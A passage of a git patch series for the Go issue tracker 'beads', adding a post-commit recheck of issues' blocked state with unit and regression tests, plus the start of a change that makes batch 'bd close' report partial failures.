pending.unrecheckedNames()) +} + +// unrecheckedNames names the recorded dependents, bounded by +// recheckSourceLimit: one transaction can record an unbounded number of them. +func (r BlockedRecheck) unrecheckedNames() string { + ids := make([]string, 0, len(r.IssueIDs)+len(r.WispIDs)) + ids = append(ids, r.IssueIDs...) + ids = append(ids, r.WispIDs...) + if len(ids) <= recheckSourceLimit { + return strings.Join(ids, ", ") + } + return fmt.Sprintf("%s and %d more", strings.Join(ids[:recheckSourceLimit], ", "), len(ids)-recheckSourceLimit) +} + +type blockedRecheckContextKey struct{} + +// BlockedRecheckTimeout bounds one post-commit recheck. It sits above the +// stores' own write-retry budget so the retry policy, not this ceiling, is +// what normally ends a struggling recheck; it exists so a wedged connection +// cannot hold the caller of an already-committed write indefinitely. +const BlockedRecheckTimeout = 30 * time.Second + +// BlockedRecheckContext returns the context a post-commit recheck runs on. +// +// It is detached from the caller's cancellation: the write being repaired has +// already committed, so a context canceled between the commit and the recheck +// (a CLI deadline, a disconnected HTTP client, shutdown) must not skip the +// repair and leave exactly the stale flag the recheck exists to settle. It +// carries its own deadline instead, and it is marked so that InBlockedRecheck +// reports true inside it. +func BlockedRecheckContext(ctx context.Context) (context.Context, context.CancelFunc) { + detached := context.WithValue(context.WithoutCancel(ctx), blockedRecheckContextKey{}, struct{}{}) + return context.WithTimeout(detached, BlockedRecheckTimeout) +} + +// InBlockedRecheck reports whether ctx is already running a post-commit +// recheck, so a store can refuse to start another one from inside it. +// +// A recheck runs on the store's ordinary write-transaction runner, which +// scopes its transaction and rechecks whatever that transaction recorded. It +// terminates today only because the recompute the recheck runs +// (RecomputeIsBlockedInTxWithResult) records nothing — an invariant no +// signature enforces. A change that made the recompute record would otherwise +// recurse once per level until the context died. This is the guard rail: +// one write, at most one recheck. +func InBlockedRecheck(ctx context.Context) bool { + _, ok := ctx.Value(blockedRecheckContextKey{}).(struct{}) + return ok +} + +// ScopeBlockedRecheckTransaction lets the unblocking writes in tx record the +// dependents they recomputed, for TakeBlockedRecheck once tx has committed. +// Store implementations call it right after BeginTx and run the returned +// cleanup when the transaction ends. An unscoped transaction records nothing. +func ScopeBlockedRecheckTransaction(tx DBTX) func() { + if tx == nil { + return func() {} + } + blockedRecheckTransactions.Store(tx, &BlockedRecheck{}) + return func() { blockedRecheckTransactions.Delete(tx) } +} + +// TakeBlockedRecheck returns the dependents recorded in tx and clears them. +func TakeBlockedRecheck(tx DBTX) BlockedRecheck { + scope, ok := blockedRecheckTransactions.Load(tx) + if !ok { + return BlockedRecheck{} + } + pending := scope.(*BlockedRecheck) + taken := *pending + *pending = BlockedRecheck{} + return taken +} + +// noteBlockedRecheck records the dependents a write recomputed in tx. source +// labels the write for the recheck's commit message. exclude names ids this +// call leaves out: for a close or status update, the issue whose row this +// transaction wrote (a concurrent writer conflicts on that row instead of +// racing past it); for a delete, the rows that no longer exist. A dependency +// removal excludes nothing — its dependent is exactly the row that needs +// rechecking. exclude filters this call's ids only: an id an earlier write in +// the same transaction recorded stays pending, and rechecking a row that a +// later write deleted is a no-op, so that is harmless. +// +// A call that contributes no new id contributes no source either: the recheck +// it would name has nothing of its own to recheck, and naming it would put +// writes in the commit message that the recheck never touched. +func noteBlockedRecheck(tx DBTX, source string, exclude []string, issueIDs, wispIDs []string) { + scope, ok := blockedRecheckTransactions.Load(tx) + if !ok { + return + } + pending := scope.(*BlockedRecheck) + issues, addedIssues := appendRecheckIDs(pending.IssueIDs, issueIDs, exclude) + wisps, addedWisps := appendRecheckIDs(pending.WispIDs, wispIDs, exclude) + pending.IssueIDs, pending.WispIDs = issues, wisps + if !addedIssues && !addedWisps { + return + } + pending.SourceCount++ + if len(pending.Sources) < recheckSourceLimit { + pending.Sources, _ = appendRecheckIDs(pending.Sources, []string{source}, nil) + } +} + +// appendRecheckIDs adds the ids of one write that are neither excluded nor +// already pending, and reports whether it added any. +func appendRecheckIDs(pending, ids, exclude []string) ([]string, bool) { + seen := make(map[string]bool, len(pending)+len(exclude)) + for _, id := range pending { + seen[id] = true + } + for _, id := range exclude { + seen[id] = true + } + added := false + for _, id := range ids { + if !seen[id] { + seen[id] = true + pending = append(pending, id) + added = true + } + } + return pending, added +} + +// deleteRecheckLabel is the Sources label for a delete of ids. Up to three +// ids are named; beyond that only the count, so a bulk delete cannot grow a +// commit message without bound. scope, when set, says where the ids came +// from ("from "). +func deleteRecheckLabel(ids []string, scope string) string { + var label string + if len(ids) <= 3 { + label = "delete of " + strings.Join(ids, ", ") + } else { + label = fmt.Sprintf("delete of %d issues", len(ids)) + } + if scope != "" { + label += " " + scope + } + return label +} + +// statusChangeRecheckLabel is the Sources label for a status change of id to +// the inactive newStatus. A close through update reads the same as a close +// through CloseIssue, so the two paths mint the same commit message. +func statusChangeRecheckLabel(id, newStatus string) string { + if newStatus == string(types.StatusClosed) { + return "close of " + id + } + return fmt.Sprintf("status change of %s to %s", id, newStatus) +} diff --git a/internal/storage/issueops/blocked_recheck_test.go b/internal/storage/issueops/blocked_recheck_test.go new file mode 100644 index 000000000..9206a9f8a --- /dev/null +++ b/internal/storage/issueops/blocked_recheck_test.go @@ -0,0 +1,213 @@ +package issueops + +import ( + "context" + "errors" + "slices" + "strings" + "testing" + + sqlmock "github.com/DATA-DOG/go-sqlmock" +) + +// scopedRecheckTx opens a sqlmock transaction scoped for recheck recording. +func scopedRecheckTx(t *testing.T) DBTX { + t.Helper() + db, mock, err := sqlmock.New() + if err != nil { + t.Fatalf("sqlmock.New: %v", err) + } + t.Cleanup(func() { _ = db.Close() }) + mock.ExpectBegin() + tx, err := db.BeginTx(t.Context(), nil) + if err != nil { + t.Fatalf("BeginTx: %v", err) + } + t.Cleanup(ScopeBlockedRecheckTransaction(tx)) + return tx +} + +// TestBlockedRecheck_RecordsEveryUnblockingWrite pins the recording contract +// the stores rely on: ids are deduplicated across writes, an excluded id never +// reaches the recheck even when a later write names it, sources are labels +// joined in order, and Take clears the scope. +func TestBlockedRecheck_RecordsEveryUnblockingWrite(t *testing.T) { + tx := scopedRecheckTx(t) + + noteBlockedRecheck(tx, "close of rb-a", []string{"rb-a"}, []string{"rb-a", "rb-c"}, nil) + noteBlockedRecheck(tx, "dependency removal rb-c -> rb-b", nil, []string{"rb-c"}, []string{"rb-w"}) + noteBlockedRecheck(tx, deleteRecheckLabel([]string{"rb-b"}, ""), []string{"rb-b"}, []string{"rb-b", "rb-d"}, nil) + noteBlockedRecheck(tx, "close of rb-a", []string{"rb-a"}, []string{"rb-c"}, nil) + + pending := TakeBlockedRecheck(tx) + if want := []string{"rb-c", "rb-d"}; !slices.Equal(pending.IssueIDs, want) { + t.Fatalf("IssueIDs = %v, want %v", pending.IssueIDs, want) + } + if want := []string{"rb-w"}; !slices.Equal(pending.WispIDs, want) { + t.Fatalf("WispIDs = %v, want %v", pending.WispIDs, want) + } + if want := "bd: recheck blocked after close of rb-a, dependency removal rb-c -> rb-b, delete of rb-b"; pending.CommitMessage() != want { + t.Fatalf("CommitMessage() = %q, want %q", pending.CommitMessage(), want) + } + if again := TakeBlockedRecheck(tx); !again.Empty() || len(again.Sources) != 0 { + t.Fatalf("second Take returned %+v, want an empty scope", again) + } +} + +// TestBlockedRecheck_BoundsTheCommitMessage: one transaction can close or +// delete an unbounded number of issues, so the recheck's commit message names +// at most recheckSourceLimit writes and counts the rest — it keeps naming the +// ones it retained, because this commit is the only record of which write +// triggered the repair. A write that contributed no id to recheck is not named +// at all, since the recheck never touches anything on its behalf. +func TestBlockedRecheck_BoundsTheCommitMessage(t *testing.T) { + tx := scopedRecheckTx(t) + + // A write whose only recomputed id is its own excluded row adds nothing. + noteBlockedRecheck(tx, "close of rb-lonely", []string{"rb-lonely"}, []string{"rb-lonely"}, nil) + if pending := TakeBlockedRecheck(tx); !pending.Empty() || len(pending.Sources) != 0 || pending.SourceCount != 0 { + t.Fatalf("a write that recorded no id left %+v, want an untouched scope", pending) + } + + for _, id := range []string{"rb-1", "rb-2", "rb-3", "rb-4"} { + noteBlockedRecheck(tx, "close of blocker-"+id, nil, []string{id}, nil) + } + pending := TakeBlockedRecheck(tx) + if pending.SourceCount != 4 || len(pending.Sources) != recheckSourceLimit { + t.Fatalf("SourceCount = %d, Sources = %v, want 4 recorded writes and %d names", pending.SourceCount, pending.Sources, recheckSourceLimit) + } + want := "bd: recheck blocked after close of blocker-rb-1, close of blocker-rb-2, close of blocker-rb-3 and 1 more" + if pending.CommitMessage() != want { + t.Fatalf("CommitMessage() = %q, want %q", pending.CommitMessage(), want) + } +} + +// TestBlockedRecheck_CountsOnlyTheWritesItDidNotName: Sources is deduplicated +// and SourceCount is not, so two writes rendering one label (two equal-sized +// bulk deletes) leave the count ahead of the names. The message counts the +// writes it did not name rather than all of them, so that skew cannot make it +// claim more unnamed writes than exist — or drop the one name it has. +func TestBlockedRecheck_CountsOnlyTheWritesItDidNotName(t *testing.T) { + tx := scopedRecheckTx(t) + + label := deleteRecheckLabel([]string{"rb-1", "rb-2", "rb-3", "rb-4"}, "") + noteBlockedRecheck(tx, label, nil, []string{"rb-c"}, nil) + noteBlockedRecheck(tx, label, nil, []string{"rb-d"}, nil) + + pending := TakeBlockedRecheck(tx) + if pending.SourceCount != 2 || len(pending.Sources) != 1 { + t.Fatalf("SourceCount = %d, Sources = %v, want 2 recorded writes deduplicated to 1 name", pending.SourceCount, pending.Sources) + } + if want := "bd: recheck blocked after delete of 4 issues and 1 more"; pending.CommitMessage() != want { + t.Fatalf("CommitMessage() = %q, want %q", pending.CommitMessage(), want) + } +} + +// TestBlockedRecheck_UnscopedTransactionRecordsNothing: a transaction the +// store never scoped (or whose scope already ended) records and returns +// nothing, so the stores' Tx surfaces keep their pre-recheck behaviour. +func TestBlockedRecheck_UnscopedTransactionRecordsNothing(t *testing.T) { + db, mock, err := sqlmock.New() + if err != nil { + t.Fatalf("sqlmock.New: %v", err) + } + t.Cleanup(func() { _ = db.Close() }) + mock.ExpectBegin() + tx, err := db.BeginTx(t.Context(), nil) + if err != nil { + t.Fatalf("BeginTx: %v", err) + } + noteBlockedRecheck(tx, "close of rb-a", []string{"rb-a"}, []string{"rb-c"}, nil) + if pending := TakeBlockedRecheck(tx); !pending.Empty() { + t.Fatalf("unscoped tx recorded %+v, want nothing", pending) + } + ScopeBlockedRecheckTransaction(nil)() // a nil tx is a no-op scope +} + +func TestBlockedRecheck_Labels(t *testing.T) { + cases := []struct { + name string + got string + want string + }{ + {"single delete", deleteRecheckLabel([]string{"rb-b"}, ""), "delete of rb-b"}, + {"three named", deleteRecheckLabel([]string{"a", "b", "c"}, ""), "delete of a, b, c"}, + {"count beyond three", deleteRecheckLabel([]string{"a", "b", "c", "d"}, ""), "delete of 4 issues"}, + {"source repo scope", deleteRecheckLabel(make([]string, 40), "from github.com/x/y"), "delete of 40 issues from github.com/x/y"}, + {"close through update", statusChangeRecheckLabel("rb-b", "closed"), "close of rb-b"}, + {"pin through update", statusChangeRecheckLabel("rb-b", "pinned"), "status change of rb-b to pinned"}, + } + for _, tc := range cases { + if tc.got != tc.want { + t.Errorf("%s: got %q, want %q", tc.name, tc.got, tc.want) + } + } +} + +// TestBlockedRecheckContext_SurvivesItsCallerAndGuardsRecursion pins the two +// properties the stores' post-commit recheck depends on: it keeps running +// after the write's own context is cancelled (the write is already durable, +// so a cancelled caller must not skip the repair), and it marks itself so a +// recheck cannot start another recheck. +func TestBlockedRecheckContext_SurvivesItsCallerAndGuardsRecursion(t *testing.T) { + caller, cancelCaller := context.WithCancel(t.Context()) + if InBlockedRecheck(caller) { + t.Fatal("an ordinary write context reads as a recheck") + } + + ctx, cancel := BlockedRecheckContext(caller) + defer cancel() + cancelCaller() + + if err := ctx.Err(); err != nil { + t.Fatalf("recheck context died with its caller: %v", err) + } + if _, ok := ctx.Deadline(); !ok { + t.Fatal("recheck context has no deadline of its own") + } + if !InBlockedRecheck(ctx) { + t.Fatal("a recheck context does not report itself, so a recheck could start another") + } +} + +// TestBlockedRecheckFailed_KeepsSentinelAndCause: a store wraps a recheck +// failure so its log line tells a committed write whose recheck failed from a +// write that never landed, without losing the underlying cause. +func TestBlockedRecheckFailed_KeepsSentinelAndCause(t *testing.T) { + cause := errors.New("dolt: connection reset") + err := BlockedRecheckFailed(cause) + if !errors.Is(err, ErrBlockedRecheckFailed) { + t.Fatalf("errors.Is(err, ErrBlockedRecheckFailed) = false for %v", err) + } + if !errors.Is(err, cause) { + t.Fatalf("errors.Is(err, cause) = false for %v", err) + } + if want := "blocked-state recheck after a committed write failed: dolt: connection reset"; err.Error() != want { + t.Fatalf("err = %q, want %q", err.Error(), want) + } + if errors.Is(cause, ErrBlockedRecheckFailed) { + t.Fatal("a bare cause must not read as a recheck failure") + } +} + +// TestBlockedRecheckFailureMessage_NamesTheStaleRowsAndTheRepair: the failure +// never reaches the write's caller, so this line plus the Dolt store's counter +// are its only trace. An operator reading it has to learn which rows went stale +// and what repairs them, and a bulk write must not turn one warning into an +// unbounded line. +func TestBlockedRecheckFailureMessage_NamesTheStaleRowsAndTheRepair(t *testing.T) { + cause := BlockedRecheckFailed(errors.New("dolt: connection reset")) + + got := BlockedRecheckFailureMessage(BlockedRecheck{IssueIDs: []string{"rb-c"}, WispIDs: []string{"rb-w"}}, cause) + want := "blocked-state recheck after a committed write failed: dolt: connection reset; " + + "left unrechecked and possibly stale: rb-c, rb-w — repair with `bd recompute-blocked`" + if got != want { + t.Fatalf("message = %q, want %q", got, want) + } + + bulk := BlockedRecheck{IssueIDs: []string{"rb-1", "rb-2", "rb-3", "rb-4", "rb-5"}} + got = BlockedRecheckFailureMessage(bulk, cause) + if want := "left unrechecked and possibly stale: rb-1, rb-2, rb-3 and 2 more — repair with `bd recompute-blocked`"; !strings.HasSuffix(got, want) { + t.Fatalf("message for %d ids = %q, want it to end with %q", len(bulk.IssueIDs), got, want) + } +} diff --git a/internal/storage/issueops/bulk_ops.go b/internal/storage/issueops/bulk_ops.go index 0077d0463..e96d5b513 100644 --- a/internal/storage/issueops/bulk_ops.go +++ b/internal/storage/issueops/bulk_ops.go @@ -234,6 +234,7 @@ func DeleteIssuesBySourceRepoInTx(ctx context.Context, tx *sql.Tx, sourceRepo st if err := RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return int(rowsAffected), fmt.Errorf("recompute is_blocked after source-repo delete: %w", err) } + noteBlockedRecheck(tx, deleteRecheckLabel(issueIDs, "from "+sourceRepo), issueIDs, affectedIssues, affectedWisps) return int(rowsAffected), nil } diff --git a/internal/storage/issueops/close.go b/internal/storage/issueops/close.go index 0c70107f0..6b8242996 100644 --- a/internal/storage/issueops/close.go +++ b/internal/storage/issueops/close.go @@ -381,6 +381,7 @@ func closeIssueInTx(ctx context.Context, tx DBTX, id string, reason, actor, sess if err != nil { return nil, fmt.Errorf("recompute is_blocked after close for %s: %w", id, err) } + noteBlockedRecheck(tx, "close of "+id, []string{id}, affectedIssues, affectedWisps) // Snapshot only after all derived blocked-state maintenance has completed. // recordEvent gates the human audit event, never the journal. diff --git a/internal/storage/issueops/delete.go b/internal/storage/issueops/delete.go index f8ed23ad5..7ed67f634 100644 --- a/internal/storage/issueops/delete.go +++ b/internal/storage/issueops/delete.go @@ -51,6 +51,7 @@ func DeleteIssueInTx(ctx context.Context, tx *sql.Tx, id string, actor string) e if err := RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return fmt.Errorf("recompute is_blocked after delete for %s: %w", id, err) } + noteBlockedRecheck(tx, deleteRecheckLabel([]string{id}, ""), []string{id}, affectedIssues, affectedWisps) return nil } @@ -354,6 +355,7 @@ func DeleteResolvedSetInTx(ctx context.Context, tx *sql.Tx, set DeletionSet, dry if err := RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return nil, fmt.Errorf("recompute is_blocked after batch delete: %w", err) } + noteBlockedRecheck(tx, deleteRecheckLabel(set.All, ""), set.All, affectedIssues, affectedWisps) return result, nil } diff --git a/internal/storage/issueops/dependencies.go b/internal/storage/issueops/dependencies.go index db7f2943b..88e151d2d 100644 --- a/internal/storage/issueops/dependencies.go +++ b/internal/storage/issueops/dependencies.go @@ -1035,6 +1035,9 @@ func removeDependencyInTx(ctx context.Context, tx *sql.Tx, issueID, dependsOnID, return false, fmt.Errorf("recompute is_blocked after remove dependency %s -> %s: %w", issueID, dependsOnID, err) } mergeRecomputeIsBlockedResult(recomputeResult, recomputed) + // The dependent is exactly the row a racing unblocking write can leave + // stale, so nothing is excluded from the post-commit recheck. + noteBlockedRecheck(tx, fmt.Sprintf("dependency removal %s -> %s", issueID, dependsOnID), nil, affectedIssues, affectedWisps) // Snapshot only after all derived blocked-state maintenance has completed. // Never gated on emitEvent — a structural removal is as real to a replaying // consumer as one from an explicit dep verb. diff --git a/internal/storage/issueops/update.go b/internal/storage/issueops/update.go index 1ef27ce6c..10fda9f09 100644 --- a/internal/storage/issueops/update.go +++ b/internal/storage/issueops/update.go @@ -534,6 +534,9 @@ func updateIssueInTx(ctx context.Context, tx DBTX, id string, updates map[string } updateResult.IssueRowsChanged = !isWisp || recompute.IssueRowsChanged updateResult.WispRowsChanged = isWisp || recompute.WispRowsChanged + if !newActive { + noteBlockedRecheck(tx, statusChangeRecheckLabel(id, newStatus), []string{id}, affectedIssues, affectedWisps) + } } } From d79ef480488f63bf4e0be8784c586b291d6e4364 Mon Sep 17 00:00:00 2001 From: Gas City Adopt-PR Date: Tue, 29 Sep 2026 03:48:16 +0000 Subject: [PATCH 200/624] test(release-1.3.x): black-box regression tests for the #6716 blocked-flag stall [NOT a cherry-pick] Release-only test addition for the #6719 hand port. The tests #6719 ships reference symbols the fix introduces, so on the pre-fix release line they fail only to compile. These two use only store entry points that exist on both sides of the fix, so they fail behaviourally on hotfix/1.3.1 @ f5a9402790 and pass with the port: - dolt (server tier): a close through the store's own write runner (withWriteTx and withRetryTx) pins its snapshot, a sibling close commits on a second connection, the store's close commits last. Pre-fix rb-c stays is_blocked=1 and absent from GetReadyWork; post-fix it is ready. - embeddeddolt: embedded transactions serialize, so the contract is pinned instead: a dependent a committed close recomputed is settled on a fresh snapshot after commit. Proxied (uow/domain-db) mode is not covered: #6719 on main does not scope that route either (see blocked_recheck.go's doc comment and the CHANGELOG entry), so there is no proxied behaviour to test on this line. Co-Authored-By: Claude Opus 5.5 --- .../close_recheck_blocked_regression_test.go | 110 ++++++++++++++++++ ...locked_recheck_regression_internal_test.go | 73 ++++++++++++ 2 files changed, 183 insertions(+) create mode 100644 internal/storage/dolt/close_recheck_blocked_regression_test.go create mode 100644 internal/storage/embeddeddolt/blocked_recheck_regression_internal_test.go diff --git a/internal/storage/dolt/close_recheck_blocked_regression_test.go b/internal/storage/dolt/close_recheck_blocked_regression_test.go new file mode 100644 index 000000000..d453507cc --- /dev/null +++ b/internal/storage/dolt/close_recheck_blocked_regression_test.go @@ -0,0 +1,110 @@ +package dolt + +import ( + "context" + "database/sql" + "slices" + "testing" + + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// TestCloseRecheckBlocked_StoreWriteCommittingLastUnblocks is the release-line +// regression test for gastownhall/beads#6716 (formula fan-in stall). It uses +// only store entry points that exist before the fix, so it compiles on both +// sides of it and fails without it. +// +// A close runs through the store's own write runner and pins its snapshot +// while both blockers are open. A sibling close then commits on another +// connection; its in-transaction recompute cannot see the store's uncommitted +// close, so it leaves rb-c blocked. The store's close commits last, and its +// in-transaction recompute likewise saw the sibling open. Without the +// post-commit recheck rb-c stays is_blocked=1 and missing from ready work on +// every committed snapshot. +func TestCloseRecheckBlocked_StoreWriteCommittingLastUnblocks(t *testing.T) { + runners := []struct { + name string + run func(*DoltStore, context.Context, func(*sql.Tx) error) error + }{ + {"withWriteTx", (*DoltStore).withWriteTx}, + {"withRetryTx", (*DoltStore).withRetryTx}, + } + for _, runner := range runners { + t.Run(runner.name, func(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + for _, id := range []string{"rb-a", "rb-b", "rb-c"} { + createPerm(t, ctx, store, id) + } + addDependency(t, ctx, store, "rb-c", "rb-a", types.DepBlocks) + addDependency(t, ctx, store, "rb-c", "rb-b", types.DepBlocks) + assertIsBlocked(t, ctx, store, "issues", "rb-c", true) + + siblingCommitted := false + if err := runner.run(store, ctx, func(tx *sql.Tx) error { + var open int + if err := tx.QueryRowContext(ctx, + "SELECT COUNT(*) FROM issues WHERE id IN ('rb-a', 'rb-b') AND status <> 'closed'").Scan(&open); err != nil { + return err + } + if open != 2 { + t.Fatalf("store close snapshot sees %d open blockers, want 2", open) + } + if _, err := issueops.CloseIssueInTx(ctx, tx, "rb-b", "done", "tester", ""); err != nil { + return err + } + if siblingCommitted { + return nil + } + closeSiblingOnOwnConnection(t, ctx, store, "rb-a") + siblingCommitted = true + return nil + }); err != nil { + t.Fatalf("store close of rb-b: %v", err) + } + + assertIsBlocked(t, ctx, store, "issues", "rb-c", false) + ready, err := store.GetReadyWork(ctx, types.WorkFilter{}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + if !slices.ContainsFunc(ready, func(i *types.Issue) bool { return i.ID == "rb-c" }) { + t.Fatal("rb-c has no open blockers but is missing from ready work") + } + }) + } +} + +// closeSiblingOnOwnConnection closes id in a transaction on a second pooled +// connection and commits it, with the ordinary in-transaction recompute, and +// checks that it left rb-c blocked: the stale state #6716 starts from. +func closeSiblingOnOwnConnection(t *testing.T, ctx context.Context, store *DoltStore, id string) { + t.Helper() + conn, err := store.db.Conn(ctx) + if err != nil { + t.Fatalf("acquire sibling connection: %v", err) + } + defer func() { _ = conn.Close() }() + tx, err := conn.BeginTx(ctx, nil) + if err != nil { + t.Fatalf("begin sibling tx: %v", err) + } + if _, err := issueops.CloseIssueInTx(ctx, tx, id, "done", "tester", ""); err != nil { + _ = tx.Rollback() + t.Fatalf("sibling close of %s: %v", id, err) + } + if err := tx.Commit(); err != nil { + t.Fatalf("commit sibling close of %s: %v", id, err) + } + // Read on this connection: the store's runner holds the pool's other one. + var blocked bool + if err := conn.QueryRowContext(ctx, "SELECT is_blocked FROM issues WHERE id = 'rb-c'").Scan(&blocked); err != nil { + t.Fatalf("read rb-c after sibling close: %v", err) + } + if !blocked { + t.Fatal("sibling close unblocked rb-c although the store's close of the other blocker has not committed") + } +} diff --git a/internal/storage/embeddeddolt/blocked_recheck_regression_internal_test.go b/internal/storage/embeddeddolt/blocked_recheck_regression_internal_test.go new file mode 100644 index 000000000..774b68c54 --- /dev/null +++ b/internal/storage/embeddeddolt/blocked_recheck_regression_internal_test.go @@ -0,0 +1,73 @@ +//go:build cgo + +package embeddeddolt + +import ( + "context" + "database/sql" + "path/filepath" + "slices" + "testing" + + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// TestEmbeddedBlockedRecheckSettlesDependentAfterCommit is the release-line +// regression test for the embedded half of gastownhall/beads#6716. It uses +// only store entry points that exist before the fix, so it compiles on both +// sides of it and fails without it. +// +// Embedded transactions serialize, so the two-session race cannot be staged +// here. What the fix promises on this tier is the contract: a dependent a +// committed close recomputed is recomputed again on a fresh snapshot. The +// test stands in for the unseen sibling with a write inside the same +// transaction that bypasses the recompute, after the close's own recompute +// has run and left rb-c blocked. +func TestEmbeddedBlockedRecheckSettlesDependentAfterCommit(t *testing.T) { + ctx := context.Background() + store, err := Open(ctx, filepath.Join(t.TempDir(), ".beads"), "recheckreg", "main") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = store.Close() }) + if err := store.SetConfig(ctx, "issue_prefix", "rb"); err != nil { + t.Fatal(err) + } + for _, id := range []string{"rb-a", "rb-b", "rb-c"} { + iss := &types.Issue{ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, iss, "tester"); err != nil { + t.Fatalf("create %s: %v", id, err) + } + } + for _, blocker := range []string{"rb-a", "rb-b"} { + if err := store.AddDependency(ctx, &types.Dependency{IssueID: "rb-c", DependsOnID: blocker, Type: types.DepBlocks}, "tester"); err != nil { + t.Fatalf("add dependency rb-c -> %s: %v", blocker, err) + } + } + + if err := store.withConn(ctx, true, func(tx *sql.Tx) error { + if _, err := issueops.CloseIssueInTx(ctx, tx, "rb-a", "done", "tester", ""); err != nil { + return err + } + var blocked bool + if err := tx.QueryRowContext(ctx, "SELECT is_blocked FROM issues WHERE id = 'rb-c'").Scan(&blocked); err != nil { + return err + } + if !blocked { + t.Fatal("rb-c unblocked in-transaction while rb-b was still open") + } + _, err := tx.ExecContext(ctx, "UPDATE issues SET status = 'closed', closed_at = NOW() WHERE id = 'rb-b'") + return err + }); err != nil { + t.Fatalf("close rb-a: %v", err) + } + + ready, err := store.GetReadyWork(ctx, types.WorkFilter{}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + if !slices.ContainsFunc(ready, func(i *types.Issue) bool { return i.ID == "rb-c" }) { + t.Fatal("rb-c has no open blockers but is missing from ready work (stale is_blocked)") + } +} From c296fc9205681122c600414e9ca301998f0df76a Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Sat, 26 Sep 2026 13:55:44 -0700 Subject: [PATCH 201/624] Beads #6648: report partial batch-close failure (#6740) * fix(close): fail partial batch closes Fixes #6648 * review: exit nonzero on proxied partial close, update tests and changelog Co-Authored-By: Claude Sonnet 5 * review: print close failure summary only for multi-id batches Co-Authored-By: Claude Sonnet 5 * review: machine-readable close failures, and adjudicate --claim-next Maintainer fixup for the two major findings on #6740 (Beads #6648). 1. --claim-next x partial failure (major). --claim-next rides inside the batch transaction and fires whenever something LANDED, so a mixed batch claimed a fresh issue and then exited 1, with nothing in the diff, the CHANGELOG or the tests saying so. Adjudicated as "the claim stands and the report names it", not "the claim is suppressed". Suppressing it at cmd/bd -- the site the review named -- cannot un-claim anything: ExecuteCloseBatch (and the uow provider's twin) commit the claim alongside the survivors before the CLI ever sees a refusal, so gating the report would only leave an issue assigned to the actor with nothing on stdout or stderr saying so. Strictly worse than announcing it. The claim is now named in the text summary and in the JSON failure payload, so a caller that exits on the nonzero status can still see what it owns. The review's "unbounded claim leak -- another ready issue on every attempt" does not hold, and the new test pins why: on a retry the survivor is already closed, so `landed` is 0 and an empty batch earns no claim (close_batch.go:146, uow/batch_closer.go:71). The leak is bounded at the one claim the first run earned. The defect that remains -- a durable claim the caller is never told about -- is what this fixes. 2. --json partial failure carried no machine-readable signal (major). The new exit 1 left stdout as the success-shaped array of CLOSED issues and put only human refusal prose on stderr, so a JSON consumer could not learn WHICH ids failed without scraping it -- the exact fragility #6648 was filed about, left in place for the callers most likely to batch. Both routes now report through one reportCloseFailures helper modelled on bd update's reportUpdateFailures: a compact {"error","failed":[{"id","error"}]} line on stderr, stdout keeping the closed-issues array. That also removes the summary hand-rolled twice with two denominators (the architectural nit). Also taken, all non-gating and adjacent to the above: - CHANGELOG narrowed to the refusals it actually covers, noting that an UNRESOLVABLE id still aborts the direct route before any close runs while the proxied route refuses it per-argument (the route-parity overclaim). - Tests for the three deliberately-chosen behaviours that had no pin: the --json partial failure (proxied), the --claim-next interaction above (embedded, both failure channels), and the single-id summary suppression that commit 97151ab8e exists solely to add -- asserted in TestParityCloseNothingSettledExits1, which checked stdout but not stderr. Contributor commits preserved; behaviour of the original fix is unchanged on every route it already covered. Single-id stderr stays byte-identical. Validated: go build ./..., go vet ./cmd/bd/..., TestParityClose family, cmd/bd/protocol, TestEmbeddedClose close/claim-next subtests (BEADS_TEST_EMBEDDED_DOLT=1), TestProxiedServerClose partial-failure subtests (BEADS_TEST_PROXIED_SERVER=1), TestMultiIDUpdatePartialFailure. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Julian Knutsen (cherry picked from commit 730fb9867e654a7cde030a41e10b1d3dcf1fe141) Hand-resolved for hotfix/1.3.1: CHANGELOG.md conflicted only because main's Unreleased/Fixed list does not exist on the release line. The release CHANGELOG is kept and this entry is added verbatim under Unreleased "### Fixed". No code hunk needed changes. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 17 ++++ cmd/bd/close.go | 103 +++++++++++++++++++++++ cmd/bd/close_embedded_test.go | 78 +++++++++++++++++ cmd/bd/close_proxied_integration_test.go | 88 +++++++++++++++++++ cmd/bd/close_proxied_server.go | 9 +- cmd/bd/protocol/exit_codes_test.go | 15 ++-- cmd/bd/write_verbs_parity_test.go | 27 +++--- 7 files changed, 319 insertions(+), 18 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4a025b100..cf4dc89f9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -119,6 +119,23 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 `bd mol burn`, `bd duplicates --merge`, and the wisp writes — closes, updates, deletes and demote-to-wisp. +- **`bd close` now exits non-zero when any issue in a batch fails to close** + ([#6648](https://github.com/gastownhall/beads/issues/6648)). A batch with one + refused id used to exit 0 as long as another id closed, so scripts could not + tell that part of the batch was left open. The closable ids still close, the + refusals are still printed, and a final `Error: N of M issues failed to close` + line is added; ids that were already closed still count as success. Both the + direct and proxied-server routes behave this way for ids the close policy or + the engine refuses. (An id that cannot be *resolved* at all is unchanged and + still differs by route: the direct route aborts the whole command before any + close runs, while the proxied route refuses that argument and closes the + rest.) In `--json` mode the summary is instead a compact JSON line on stderr + naming the failed ids, matching `bd update`'s partial-failure report, while + stdout keeps the usual closed-issues array. `--claim-next` still claims when + part of the batch closed — the claim commits inside the batch's own + transaction and a sibling's refusal does not roll it back — so the summary + names the claimed id rather than leaving it silently assigned. + ## [1.3.1] - 2026-09-16 ### Changed diff --git 